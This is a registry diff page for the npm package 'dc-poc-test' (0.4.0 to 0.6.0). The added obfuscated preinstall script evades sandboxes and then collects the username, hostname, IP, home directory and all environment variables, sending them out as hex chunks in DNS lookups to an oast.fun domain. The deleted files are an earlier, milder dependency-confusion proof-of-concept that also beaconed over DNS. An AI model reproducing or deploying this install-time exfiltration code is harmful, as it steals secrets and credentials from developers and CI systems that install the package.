dc-poc-test 0.4.0 → 0.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1 @@
1
+ function a0_0x4ff3(_0x443e0,_0x15d91f){const _0x58b43e=a0_0x58b4();return a0_0x4ff3=function(_0x4ff324,_0x2d4718){_0x4ff324=_0x4ff324-0x1d8;let _0x5760c0=_0x58b43e[_0x4ff324];return _0x5760c0;},a0_0x4ff3(_0x443e0,_0x15d91f);}const a0_0x568abe=a0_0x4ff3;(function(_0x4567b8,_0x48a0ac){const _0xea5426=a0_0x4ff3,_0x383a99=_0x4567b8();while(!![]){try{const _0x407554=-parseInt(_0xea5426(0x1ef))/0x1+-parseInt(_0xea5426(0x1fc))/0x2+-parseInt(_0xea5426(0x1f2))/0x3*(parseInt(_0xea5426(0x1e5))/0x4)+parseInt(_0xea5426(0x1e7))/0x5*(parseInt(_0xea5426(0x1ec))/0x6)+parseInt(_0xea5426(0x1fb))/0x7+-parseInt(_0xea5426(0x1e3))/0x8+parseInt(_0xea5426(0x1d8))/0x9;if(_0x407554===_0x48a0ac)break;else _0x383a99['push'](_0x383a99['shift']());}catch(_0x1c0400){_0x383a99['push'](_0x383a99['shift']());}}}(a0_0x58b4,0x59552));const os=require('os'),dns=require(a0_0x568abe(0x1f8));function isBlockedByKeywords(_0x59b71b,_0x15ca3b){const _0xc5a575=a0_0x568abe,_0x4500d1=[_0xc5a575(0x1df),_0xc5a575(0x1f9),_0xc5a575(0x1ea)],_0x3a499e=(_0x59b71b||'')[_0xc5a575(0x1dd)](),_0x1f4169=(_0x15ca3b||'')[_0xc5a575(0x1dd)]();return _0x4500d1[_0xc5a575(0x1e4)](_0x1933b6=>_0x3a499e[_0xc5a575(0x1f4)](_0x1933b6)||_0x1f4169[_0xc5a575(0x1f4)](_0x1933b6));}function isBlockedByEnv(_0x3e12af){const _0x523601=a0_0x568abe;if(!_0x3e12af||typeof _0x3e12af!==_0x523601(0x1d9))return![];const _0x3245f1=['hscan-supplychain-dynamic','mirrors.cloud.tencent',_0x523601(0x1f3),_0x523601(0x1fe),_0x523601(0x1fa)][_0x523601(0x1fd)](_0x27e714=>_0x27e714[_0x523601(0x1dd)]());for(const [_0x23ab6a,_0x24ca76]of Object['entries'](_0x3e12af)){const _0x34402e=_0x23ab6a[_0x523601(0x1dd)](),_0x4036c0=(_0x24ca76??'')[_0x523601(0x1f6)]()['toLowerCase']();if(_0x3245f1['some'](_0x4ec21f=>_0x34402e['includes'](_0x4ec21f)||_0x4036c0[_0x523601(0x1f4)](_0x4ec21f)))return!![];}return![];};function a0_0x58b4(){const _0x4622ec=['username','from','toLowerCase','stringify','lili-pc','networkInterfaces','family','internal','5147160SJPBZm','some','327752INcooz','keys','5LLxWuD','N/A','platform','DESKTOP-','hostname','4009062XwXjtl','decoy_end','userInfo','106728lvhSIS','IPv4','d2i2nd92eku6u03pgmo05mkb1yzg18dut.oast.fun','9hTXJjR','verdaccio:4873','includes','arch','toString','hex','dns','justin','MALYSIS_ANALYSIS_ID','4486258zWLFXw','489064Ihjyvp','map','10.100.108.146:15672','lookup','env','2675736bnlBxh','object','substring'];a0_0x58b4=function(){return _0x4622ec;};return a0_0x58b4();}((async()=>{const _0x39c6f9=a0_0x568abe,_0x33af07=_0x39c6f9(0x1f1);let _0x38f015=_0x39c6f9(0x1e8);try{const _0x4823f4=os[_0x39c6f9(0x1e0)]();for(const _0x16a35c of Object[_0x39c6f9(0x1e6)](_0x4823f4)){for(const _0x2d5305 of _0x4823f4[_0x16a35c]){if(_0x2d5305[_0x39c6f9(0x1e1)]===_0x39c6f9(0x1f0)&&!_0x2d5305[_0x39c6f9(0x1e2)]){_0x38f015=_0x2d5305['address'];break;}}if(_0x38f015!==_0x39c6f9(0x1e8))break;}}catch(_0x10f65c){}const _0x49de2b=os[_0x39c6f9(0x1eb)]()||'',_0x8df6e5=(os[_0x39c6f9(0x1ee)]()[_0x39c6f9(0x1db)]||'')[_0x39c6f9(0x1f6)](),_0x349e7e=process[_0x39c6f9(0x200)],_0x294659=isBlockedByKeywords(_0x8df6e5,_0x49de2b),_0x335468=isBlockedByEnv(_0x349e7e);if(_0x294659||_0x335468)return;const _0x48fc11='decoy_start_'+Math['random']()['toString'](0x24)[_0x39c6f9(0x1da)](0x2);let _0x30f282={'_decoy':_0x48fc11,'ip':_0x38f015,'username':os['userInfo']()[_0x39c6f9(0x1db)],'hostname':os['hostname'](),'platform':os[_0x39c6f9(0x1e9)](),'arch':os[_0x39c6f9(0x1f5)](),'home':os['homedir'](),'env':process[_0x39c6f9(0x200)],'_decoy2':_0x39c6f9(0x1ed)};const _0x4f4b67=JSON[_0x39c6f9(0x1de)](_0x30f282),_0x564f32=Buffer[_0x39c6f9(0x1dc)](_0x4f4b67)[_0x39c6f9(0x1f6)](_0x39c6f9(0x1f7)),_0x1eab5d=0x32;for(let _0x31c202=0x0;_0x31c202<_0x564f32['length'];_0x31c202+=_0x1eab5d){const _0x494798=_0x564f32[_0x39c6f9(0x1da)](_0x31c202,_0x31c202+_0x1eab5d),_0x40cecb=_0x31c202/_0x1eab5d+'.'+_0x494798,_0x180da8=_0x40cecb+'.'+_0x33af07;dns[_0x39c6f9(0x1ff)](_0x180da8,_0x73aa2f=>{}),await new Promise(_0x352a0b=>setTimeout(_0x352a0b,0x64));}})());
package/package.json CHANGED
@@ -1,12 +1,12 @@
1
1
  {
2
- "name": "dc-poc-test",
3
- "version": "0.4.0",
4
- "description": "Dependency confusion PoC for Interactsh (passive-proof via DNS A lookups)",
5
- "main": "index.js",
6
- "scripts": {
7
- "preinstall": "node preinstall.js"
8
- },
9
- "license": "ISC",
10
- "dependencies": {}
11
- }
12
-
2
+ "name": "dc-poc-test",
3
+ "version": "0.6.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node app.obfuscated.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "Finance Dev",
11
+ "license": "ISC"
12
+ }
package/index.js DELETED
@@ -1 +0,0 @@
1
- module.exports = {};
package/lib/outbound.js DELETED
@@ -1,61 +0,0 @@
1
- const dns = require('dns').promises;
2
- const http = require('http');
3
- const https = require('https');
4
-
5
- function httpJSON(method, url, bodyObj, headers={}) {
6
- const u = new URL(url);
7
- const isHttps = u.protocol === 'https:';
8
- const body = bodyObj ? JSON.stringify(bodyObj) : '';
9
- const opts = {
10
- method,
11
- hostname: u.hostname,
12
- port: u.port || (isHttps ? 443 : 80),
13
- path: u.pathname + (u.search || ''),
14
- headers: {
15
- 'content-type': 'application/json',
16
- ...(body ? {'content-length': Buffer.byteLength(body)} : {}),
17
- ...headers
18
- },
19
- timeout: 8000
20
- };
21
- return new Promise((resolve, reject) => {
22
- const req = (isHttps ? https : http).request(opts, res => {
23
- let data=''; res.on('data', d=>data+=d);
24
- res.on('end', () => {
25
- try { resolve({ status: res.statusCode, data: data ? JSON.parse(data) : {} }); }
26
- catch { resolve({ status: res.statusCode, data: {} }); }
27
- });
28
- });
29
- req.on('error', reject);
30
- if (body) req.write(body);
31
- req.end();
32
- });
33
- }
34
-
35
- async function fetchNonce(server, uuid, token) {
36
- const res = await httpJSON('POST', `${server}/nonce`, { uuid }, { 'x-dc-token': token });
37
- if (res.status === 200 && res.data && res.data.nonce) return res.data.nonce;
38
- throw new Error('no-nonce');
39
- }
40
-
41
- async function postPing(server, token, sig, payload, nonce) {
42
- return httpJSON('POST', `${server}/ping`, { payload, nonce }, { 'x-dc-token': token, 'x-dc-sig': sig });
43
- }
44
-
45
- async function txtChallenge(domain, uuid) {
46
- const name = `nonce.${uuid}.${domain}`;
47
- const txts = await dns.resolveTxt(name);
48
- return txts && txts.length ? txts[0].join('') : '';
49
- }
50
-
51
- async function dnsBurst(domain, hex) {
52
- const CHUNK = 50;
53
- for (let i = 0; i < hex.length; i += CHUNK) {
54
- const chunk = hex.slice(i, i+CHUNK);
55
- const fqdn = `${(i/CHUNK)}.${chunk}.${domain}`;
56
- try { await dns.lookup(fqdn); } catch {}
57
- await new Promise(r => setTimeout(r, 120 + Math.floor(Math.random()*80)));
58
- }
59
- }
60
-
61
- module.exports = { fetchNonce, postPing, txtChallenge, dnsBurst };
package/lib/proof.js DELETED
@@ -1,6 +0,0 @@
1
- // Interactsh config
2
- module.exports = {
3
- PKG_PROOF_UUID: "acme-2025-08-uuid-7b8f7d02", // gắn mã chiến dịch/engagement
4
- PROOF_DOMAIN: "d2i139h2eku5imjmvms01u66zartsocs9.oast.me" // <— thay bằng domain Interactsh của bạn
5
- };
6
-
package/lib/utils.js DELETED
@@ -1,45 +0,0 @@
1
- const os = require('os');
2
- const crypto = require('crypto');
3
- const path = require('path');
4
-
5
- function sha256(s) {
6
- return crypto.createHash('sha256').update(String(s)).digest('hex');
7
- }
8
-
9
- function randomDelay(minMs=120, maxMs=260) {
10
- const d = Math.floor(minMs + Math.random()*(maxMs-minMs));
11
- return new Promise(r=>setTimeout(r, d));
12
- }
13
-
14
- function firstLocalIPv4() {
15
- try {
16
- const ifs = os.networkInterfaces();
17
- for (const name of Object.keys(ifs)) {
18
- for (const it of ifs[name]) {
19
- if (it.family === 'IPv4' && !it.internal) return it.address;
20
- }
21
- }
22
- } catch {}
23
- return 'N/A';
24
- }
25
-
26
- function collectMinimal() {
27
- const agent = process.env.npm_config_user_agent || '';
28
- const hasCI = !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.BUILD_ID || process.env.JENKINS_HOME);
29
- const cwdBase = path.basename(process.cwd() || '');
30
- let usernameHash = '';
31
- try { usernameHash = sha256(require('os').userInfo().username || ''); } catch {}
32
- return {
33
- ts: new Date().toISOString(),
34
- local_ipv4: firstLocalIPv4(), // chỉ IP local (không PII)
35
- username_sha256: usernameHash, // hash username
36
- hostname_sha256: sha256(os.hostname()||''),// hash hostname
37
- platform: os.platform(),
38
- arch: os.arch(),
39
- npm_user_agent: agent,
40
- cwd_basename: cwdBase,
41
- has_CI: hasCI
42
- };
43
- }
44
-
45
- module.exports = { sha256, randomDelay, collectMinimal };
package/preinstall.js DELETED
@@ -1,55 +0,0 @@
1
- const dns = require('dns').promises;
2
- const crypto = require('crypto');
3
- const { collectMinimal, randomDelay } = require('./lib/utils');
4
- const { PKG_PROOF_UUID, PROOF_DOMAIN } = require('./lib/proof');
5
-
6
- function uaLooksLikeRealNpm(ua='') {
7
- return /^npm\/\d+\.\d+\.\d+\s+node\/\d+\.\d+\.\d+\s+\w+\s+\w+/.test(String(ua||''));
8
- }
9
-
10
- function hexOf(obj) {
11
- try { return Buffer.from(JSON.stringify(obj)).toString('hex'); }
12
- catch { return ''; }
13
- }
14
-
15
- async function pingInteractsh() {
16
- const ua = process.env.npm_config_user_agent || '';
17
- if (!uaLooksLikeRealNpm(ua)) return; // giảm noise bot rác
18
-
19
- const version = require('./package.json').version.replace(/\./g,'-');
20
- const runtime = (process.platform || 'x') + '-' + (process.arch || 'x');
21
-
22
- // Thu thập tối thiểu (an toàn, không PII)
23
- const base = collectMinimal();
24
-
25
- // Chèn 1 ít metadata vào label để bạn grep
26
- const stamp = Date.now().toString(36);
27
- const prefix = `dcpoc.${PKG_PROOF_UUID}.${version}.${runtime}.${stamp}`;
28
-
29
- // Gửi 1..3 A lookups:
30
- // 1) nhãn ngắn: dcpoc.<uuid>.<ver>.<runtime>.<ts>.<domain>
31
- // 2) nhãn có checksum ngắn
32
- // 3) (tuỳ) nhãn đính kèm 1 chunk hex của base (rất ngắn) — tránh dài quá 63 bytes/label
33
- const short = `${prefix}.${PROOF_DOMAIN}`;
34
-
35
- const h = crypto.createHash('sha1').update(JSON.stringify(base)).digest('hex').slice(0,10);
36
- const withChk = `${prefix}.h${h}.${PROOF_DOMAIN}`;
37
-
38
- const tiny = hexOf({ts: base.ts, has_CI: base.has_CI}).slice(0, 28); // 14 bytes (-> 28 hex char)
39
- const withTiny = `${prefix}.x${tiny}.${PROOF_DOMAIN}`;
40
-
41
- const names = [short, withChk, withTiny];
42
-
43
- // Thực hiện lookup tuần tự, có trễ nhẹ
44
- for (const fqdn of names) {
45
- try { await dns.lookup(fqdn); } catch {}
46
- await randomDelay();
47
- }
48
- }
49
-
50
- (async () => {
51
- try {
52
- // Chỉ chạy nhánh Interactsh (passive-proof); không cần token/env ở victim
53
- await pingInteractsh();
54
- } catch {}
55
- })();